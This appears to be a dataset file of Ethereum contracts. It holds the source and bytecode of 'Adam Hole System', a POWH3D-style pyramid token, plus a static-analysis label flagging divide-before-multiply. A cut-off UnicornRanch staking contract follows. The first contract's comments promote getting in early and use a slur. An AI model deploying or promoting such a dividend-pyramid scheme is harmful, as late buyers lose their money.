pragma solidity ^0.4.20; /* * THE ADAM HOLE SYSTEM, A SIMPLE WEBDESIGN WITH A RIPPED SOURCE * YES, Another POWH3D clone, who gives a shit? :) * Only thing you need to worry about is to get in early */ contract AHS { /*================================= = MODIFIERS = =================================*/ /// @dev Only people with tokens modifier onlyBagholders { require(myTokens() > 0); _; } /// @dev Only people with profits modifier onlyStronghands { require(myDividends(true) > 0); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "Adam Hole System"; string public symbol = "AHS"; uint8 constant public decimals = 18; /// @dev 20% dividends for token purchase uint8 constant internal entryFee_ = 20; /// @dev 10% dividends for token transfer uint8 constant internal transferFee_ = 10; /// @dev 25% dividends for token selling uint8 constant internal exitFee_ = 25; /// @dev 50% of entryFee is given to referrer uint8 constant internal refferalFee_ = 50; uint256 constant internal tokenPriceInitial_ = 0.000000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.000000002 ether; uint256 constant internal magnitude = 2 ** 64; /// @dev proof of stake (defaults at 50 tokens) uint256 public stakingRequirement = 50e18; /*================================= = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } /** * @dev Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /// @dev Converts all of caller&#39;s dividends to tokens. function reinvest() onlyStronghands public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /// @dev Alias of sell() and withdraw(). function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /// @dev Withdraws all of the callers earnings. function withdraw() onlyStronghands public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /// @dev Liquifies tokens to ethereum. function sell(uint256 _amountOfTokens) onlyBagholders public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } /** * @dev Transfer tokens from the caller to a new holder. * Remember, there&#39;s a 15% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if (myDividends(true) > 0) { withdraw(); } // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*===================================== = HELPERS AND CALCULATORS = =====================================*/ /** * @dev Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns (uint256) { return this.balance; } /// @dev Retrieve the total token supply. function totalSupply() public view returns (uint256) { return tokenSupply_; } /// @dev Retrieve the tokens owned by the caller. function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * @dev Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /// @dev Retrieve the token balance of any single address. function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } /// @dev Retrieve the dividend balance of any single address. function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /// @dev Return the sell price of 1 individual token. function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Return the buy price of 1 individual token. function buyPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders. function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders. function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ /// @dev Internal function to actually purchase the tokens. function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); // is the user referred by a masternode? if ( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can&#39;t give people infinite ethereum if (tokenSupply_ > 0) { // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / tokenSupply_); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn&#39;t deserve dividends for the tokens before they owned them; // really i know you think you do but you don&#39;t int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } /** * @dev Calculate Token price based on an amount of incoming ethereum * It&#39;s an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } /** * @dev Calculate token sell value. * It&#39;s an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } /// @dev This is where all your gas goes. function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461014f57806310d0ffdd146101d957806318160ddd146101ef5780632260937314610202578063313ce567146102185780633ccfd60b146102415780634b7503341461025657806356d399e814610269578063688abbf71461027c5780636b2f46321461029457806370a08231146102a75780638620410b146102c6578063949e8acd146102d957806395d89b41146102ec578063a9059cbb146102ff578063e4849b3214610335578063e9fad8ee1461034b578063f088d5471461035e578063fdb5a03e14610372575b61011b346000610385565b50005b341561012957600080fd5b61013d600160a060020a03600435166105ed565b60405190815260200160405180910390f35b341561015a57600080fd5b610162610628565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019e578082015183820152602001610186565b50505050905090810190601f1680156101cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e457600080fd5b61013d6004356106c6565b34156101fa57600080fd5b61013d6106f9565b341561020d57600080fd5b61013d6004356106ff565b341561022357600080fd5b61022b61073b565b60405160ff909116815260200160405180910390f35b341561024c57600080fd5b610254610740565b005b341561026157600080fd5b61013d61080c565b341561027457600080fd5b61013d610863565b341561028757600080fd5b61013d6004351515610869565b341561029f57600080fd5b61013d6108ac565b34156102b257600080fd5b61013d600160a060020a03600435166108ba565b34156102d157600080fd5b61013d6108d5565b34156102e457600080fd5b61013d61091f565b34156102f757600080fd5b610162610931565b341561030a57600080fd5b610321600160a060020a036004351660243561099c565b604051901515815260200160405180910390f35b341561034057600080fd5b610254600435610b47565b341561035657600080fd5b610254610cc3565b61013d600160a060020a0360043516610cfa565b341561037d57600080fd5b610254610d06565b600033818080808080806103a461039d8c6014610dc1565b6064610df7565b96506103b461039d886032610dc1565b95506103c08787610e0e565b94506103cc8b88610e0e565b93506103d784610e20565b9250680100000000000000008502915060008311801561040157506006546103ff8482610eb1565b115b151561040c57600080fd5b600160a060020a038a1615801590610436575087600160a060020a03168a600160a060020a031614155b801561045c5750600254600160a060020a038b1660009081526003602052604090205410155b156104a257600160a060020a038a166000908152600460205260409020546104849087610eb1565b600160a060020a038b166000908152600460205260409020556104bd565b6104ac8587610eb1565b945068010000000000000000850291505b60006006541115610521576104d460065484610eb1565b60068190556801000000000000000086028115156104ee57fe5b6007805492909104909101905560065468010000000000000000860281151561051357fe5b048302820382039150610527565b60068390555b600160a060020a03881660009081526003602052604090205461054a9084610eb1565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105b46108d5565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106be5780601f10610693576101008083540402835291602001916106be565b820191906000526020600020905b8154815290600101906020018083116106a157829003601f168201915b505050505081565b60008080806106d961039d866014610dc1565b92506106e58584610e0e565b91506106f082610e20565b95945050505050565b60065490565b600080600080600654851115151561071657600080fd5b61071f85610ec0565b925061072f61039d846019610dc1565b91506106f08383610e0e565b601281565b600080600061074f6001610869565b1161075957600080fd5b3391506107666000610869565b600160a060020a0383166000818152600560209081526040808320805468010000000000000000870201905560049091528082208054929055920192509082156108fc0290839051600060405180830381858888f1935050505015156107cb57600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b6000806000806006546000141561082a57633b9ac9ff19935061085d565b61083b670de0b6b3a7640000610ec0565b925061084b61039d846019610dc1565b91506108578383610e0e565b90508093505b50505090565b60025481565b6000338261087f5761087a816105ed565b6108a3565b600160a060020a0381166000908152600460205260409020546108a1826105ed565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156108f25763b2d05e00935061085d565b610903670de0b6b3a7640000610ec0565b925061091361039d846014610dc1565b91506108578383610eb1565b60003361092b816108ba565b91505090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106be5780601f10610693576101008083540402835291602001916106be565b6000806000806000806109ad61091f565b116109b757600080fd5b33600160a060020a0381166000908152600360205260409020549094508611156109e057600080fd5b60006109ec6001610869565b11156109fa576109fa610740565b610a0861039d87600a610dc1565b9250610a148684610e0e565b9150610a1f83610ec0565b9050610a2d60065484610e0e565b600655600160a060020a038416600090815260036020526040902054610a539087610e0e565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a829083610eb1565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610af69190680100000000000000008402811515610af057fe5b04610eb1565b600755600160a060020a038088169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060019695505050505050565b6000806000806000806000610b5a61091f565b11610b6457600080fd5b33600160a060020a038116600090815260036020526040902054909650871115610b8d57600080fd5b869450610b9985610ec0565b9350610ba961039d856019610dc1565b9250610bb58484610e0e565b9150610bc360065486610e0e565b600655600160a060020a038616600090815260036020526040902054610be99086610e0e565b600160a060020a0387166000908152600360209081526040808320939093556007546005909152918120805492880268010000000000000000860201928390039055600654919250901115610c5a57610c56600754600654680100000000000000008602811515610af057fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610c906108d5565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b33600160a060020a03811660009081526003602052604081205490811115610cee57610cee81610b47565b610cf6610740565b5050565b60006108a63483610385565b600080600080610d166001610869565b11610d2057600080fd5b610d2a6000610869565b33600160a060020a038116600090815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d76908490610385565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b600080831515610dd45760009150610df0565b50828202828482811515610de457fe5b0414610dec57fe5b8091505b5092915050565b6000808284811515610e0557fe5b04949350505050565b600082821115610e1a57fe5b50900390565b6006546000906b033b2e3c9fd0803ce80000009082906377359400610e9e610e9872b35dbf821ae4f38bdda2802c8a8000000000008802673782dace9d9000006002860a02016f03025f39ef241c56cd2e7c4000000000850201760a70c3c40a64e6c51999090b65f67d924000000000000001610f2a565b85610e0e565b811515610ea757fe5b0403949350505050565b600082820183811015610dec57fe5b600654600090670de0b6b3a7640000838101918101908390610f17633b9ac9ff19828504637735940002018702600283670de0b6b3a763ffff1982890a8b90030104637735940002811515610f1157fe5b04610e0e565b811515610f2057fe5b0495945050505050565b80600260018201045b818110156108a6578091506002818285811515610f4c57fe5b0401811515610f5757fe5b049050610f335600a165627a7a72305820b891184a8860b3de39b8c81a842bd50871c846090ef9f3079b496a77c965754c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,070
0x78faea8994efe7fc448e743b7b342e1a96ba3807
pragma solidity ^0.4.11; contract ERC20Token { function balanceOf(address _who) constant returns (uint balance); function allowance(address _owner, address _spender) constant returns (uint remaining); function transferFrom(address _from, address _to, uint _value); function transfer(address _to, uint _value); } contract GroveAPI { function insert(bytes32 indexName, bytes32 id, int value) public; } /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract UnicornRanch { using SafeMath for uint; enum VisitType { Spa, Afternoon, Day, Overnight, Week, Extended } enum VisitState { InProgress, Completed, Repossessed } struct Visit { uint unicornCount; VisitType t; uint startBlock; uint expiresBlock; VisitState state; uint completedBlock; uint completedCount; } struct VisitMeta { address owner; uint index; } address public cardboardUnicornTokenAddress; address public groveAddress; address public owner = msg.sender; mapping (address => Visit[]) bookings; mapping (bytes32 => VisitMeta) public bookingMetadataForKey; mapping (uint8 => uint) public visitLength; mapping (uint8 => uint) public visitCost; uint public visitingUnicorns = 0; uint public repossessionBlocks = 43200; uint8 public repossessionBountyPerTen = 2; uint8 public repossessionBountyPerHundred = 25; uint public birthBlockThreshold = 43860; uint8 public birthPerTen = 1; uint8 public birthPerHundred = 15; event NewBooking(address indexed _who, uint indexed _index, VisitType indexed _type, uint _unicornCount); event BookingUpdate(address indexed _who, uint indexed _index, VisitState indexed _newState, uint _unicornCount); event RepossessionBounty(address indexed _who, uint _unicornCount); event DonationReceived(address indexed _who, uint _unicornCount); modifier onlyOwner { require(msg.sender == owner); _; } function UnicornRanch() { visitLength[uint8(VisitType.Spa)] = 720; visitLength[uint8(VisitType.Afternoon)] = 1440; visitLength[uint8(VisitType.Day)] = 2880; visitLength[uint8(VisitType.Overnight)] = 8640; visitLength[uint8(VisitType.Week)] = 60480; visitLength[uint8(VisitType.Extended)] = 120960; visitCost[uint8(VisitType.Spa)] = 0; visitCost[uint8(VisitType.Afternoon)] = 0; visitCost[uint8(VisitType.Day)] = 10 szabo; visitCost[uint8(VisitType.Overnight)] = 30 szabo; visitCost[uint8(VisitType.Week)] = 50 szabo; visitCost[uint8(VisitType.Extended)] = 70 szabo; } function getBookingCount(address _who) constant returns (uint count) { return bookings[_who].length; } function getBooking(address _who, uint _index) constant returns (uint _unicornCount, VisitType _type, uint _startBlock, uint _expiresBlock, VisitState _state, uint _completedBlock, uint _completedCount) { Visit storage v = bookings[_who][_index]; return (v.unicornCount, v.t, v.startBlock, v.expiresBlock, v.state, v.completedBlock, v.completedCount); } function bookSpaVisit(uint _unicornCount) payable { return addBooking(VisitType.Spa, _unicornCount); } function bookAfternoonVisit(uint _unicornCount) payable { return addBooking(VisitType.Afternoon, _unicornCount); } function bookDayVisit(uint _unicornCount) payable { return addBooking(VisitType.Day, _unicornCount); } function bookOvernightVisit(uint _unicornCount) payable { return addBooking(VisitType.Overnight, _unicornCount); } function bookWeekVisit(uint _unicornCount) payable { return addBooking(VisitType.Week, _unicornCount); } function bookExtendedVisit(uint _unicornCount) payable { return addBooking(VisitType.Extended, _unicornCount); } function addBooking(VisitType _type, uint _unicornCount) payable { if (_type == VisitType.Afternoon) { return donateUnicorns(availableBalance(msg.sender)); } require(msg.value >= visitCost[uint8(_type)].mul(_unicornCount)); // Must be paying proper amount ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount); // Transfer the actual asset visitingUnicorns = visitingUnicorns.add(_unicornCount); uint expiresBlock = block.number.add(visitLength[uint8(_type)]); // Calculate when this booking will be done // Add the booking to the ledger bookings[msg.sender].push(Visit( _unicornCount, _type, block.number, expiresBlock, VisitState.InProgress, 0, 0 )); uint newIndex = bookings[msg.sender].length - 1; bytes32 uniqueKey = keccak256(msg.sender, newIndex); // Create a unique key for this booking // Add a reference for that key, to find the metadata about it later bookingMetadataForKey[uniqueKey] = VisitMeta( msg.sender, newIndex ); if (groveAddress > 0) { // Insert into Grove index for applications to query GroveAPI g = GroveAPI(groveAddress); g.insert("bookingExpiration", uniqueKey, int(expiresBlock)); } // Send event about this new booking NewBooking(msg.sender, newIndex, _type, _unicornCount); } function completeBooking(uint _index) { require(bookings[msg.sender].length > _index); // Sender must have at least this many bookings Visit storage v = bookings[msg.sender][_index]; require(block.number >= v.expiresBlock); // Expired time must be past require(v.state == VisitState.InProgress); // Visit must not be complete or repossessed uint unicornsToReturn = v.unicornCount; ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); // Determine if any births occurred uint birthCount = 0; if (SafeMath.sub(block.number, v.startBlock) >= birthBlockThreshold) { if (v.unicornCount >= 100) { birthCount = uint(birthPerHundred).mul(v.unicornCount / 100); } else if (v.unicornCount >= 10) { birthCount = uint(birthPerTen).mul(v.unicornCount / 10); } } if (birthCount > 0) { uint availableUnicorns = cardboardUnicorns.balanceOf(address(this)) - visitingUnicorns; if (availableUnicorns < birthCount) { birthCount = availableUnicorns; } unicornsToReturn = unicornsToReturn.add(birthCount); } // Update the status of the Visit v.state = VisitState.Completed; v.completedBlock = block.number; v.completedCount = unicornsToReturn; bookings[msg.sender][_index] = v; // Transfer the asset back to the owner visitingUnicorns = visitingUnicorns.sub(unicornsToReturn); cardboardUnicorns.transfer(msg.sender, unicornsToReturn); // Send event about this update BookingUpdate(msg.sender, _index, VisitState.Completed, unicornsToReturn); } function repossessBooking(address _who, uint _index) { require(bookings[_who].length > _index); // Address in question must have at least this many bookings Visit storage v = bookings[_who][_index]; require(block.number > v.expiresBlock.add(repossessionBlocks)); // Repossession time must be past require(v.state == VisitState.InProgress); // Visit must not be complete or repossessed visitingUnicorns = visitingUnicorns.sub(v.unicornCount); // Send event about this update BookingUpdate(_who, _index, VisitState.Repossessed, v.unicornCount); // Calculate Bounty amount uint bountyCount = 1; if (v.unicornCount >= 100) { bountyCount = uint(repossessionBountyPerHundred).mul(v.unicornCount / 100); } else if (v.unicornCount >= 10) { bountyCount = uint(repossessionBountyPerTen).mul(v.unicornCount / 10); } // Send bounty to bounty hunter ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); cardboardUnicorns.transfer(msg.sender, bountyCount); // Send event about the bounty payout RepossessionBounty(msg.sender, bountyCount); // Update the status of the Visit v.state = VisitState.Repossessed; v.completedBlock = block.number; v.completedCount = v.unicornCount - bountyCount; bookings[_who][_index] = v; } function availableBalance(address _who) internal returns (uint) { ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); uint count = cardboardUnicorns.allowance(_who, address(this)); if (count == 0) { return 0; } uint balance = cardboardUnicorns.balanceOf(_who); if (balance < count) { return balance; } return count; } function() payable { if (cardboardUnicornTokenAddress == 0) { return; } return donateUnicorns(availableBalance(msg.sender)); } function donateUnicorns(uint _unicornCount) payable { if (_unicornCount == 0) { return; } ERC20Token cardboardUnicorns = ERC20Token(cardboardUnicornTokenAddress); cardboardUnicorns.transferFrom(msg.sender, address(this), _unicornCount); DonationReceived(msg.sender, _unicornCount); } /** * Change ownership of the Ranch */ function changeOwner(address _newOwner) onlyOwner { owner = _newOwner; } /** * Change the outside contracts used by this contract */ function changeCardboardUnicornTokenAddress(address _newTokenAddress) onlyOwner { cardboardUnicornTokenAddress = _newTokenAddress; } function changeGroveAddress(address _newAddress) onlyOwner { groveAddress = _newAddress; } /** * Update block durations for various types of visits */ function changeVisitLengths(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner { visitLength[uint8(VisitType.Spa)] = _spa; visitLength[uint8(VisitType.Afternoon)] = _afternoon; visitLength[uint8(VisitType.Day)] = _day; visitLength[uint8(VisitType.Overnight)] = _overnight; visitLength[uint8(VisitType.Week)] = _week; visitLength[uint8(VisitType.Extended)] = _extended; } /** * Update ether costs for various types of visits */ function changeVisitCosts(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner { visitCost[uint8(VisitType.Spa)] = _spa; visitCost[uint8(VisitType.Afternoon)] = _afternoon; visitCost[uint8(VisitType.Day)] = _day; visitCost[uint8(VisitType.Overnight)] = _overnight; visitCost[uint8(VisitType.Week)] = _week; visitCost[uint8(VisitType.Extended)] = _extended; } /** * Update bounty reward settings */ function changeRepoSettings(uint _repoBlocks, uint8 _repoPerTen, uint8 _repoPerHundred) onlyOwner { repossessionBlocks = _repoBlocks; repossessionBountyPerTen = _repoPerTen; repossessionBountyPerHundred = _repoPerHundred; } /** * Update birth event settings */ function changeBirthSettings(uint _birthBlocks, uint8 _birthPerTen, uint8 _birthPerHundred) onlyOwner { birthBlockThreshold = _birthBlocks; birthPerTen = _birthPerTen; birthPerHundred = _birthPerHundred; } function withdraw() onlyOwner { owner.transfer(this.balance); // Send all ether in this contract to this contract&#39;s owner } function withdrawForeignTokens(address _tokenContract) onlyOwner { 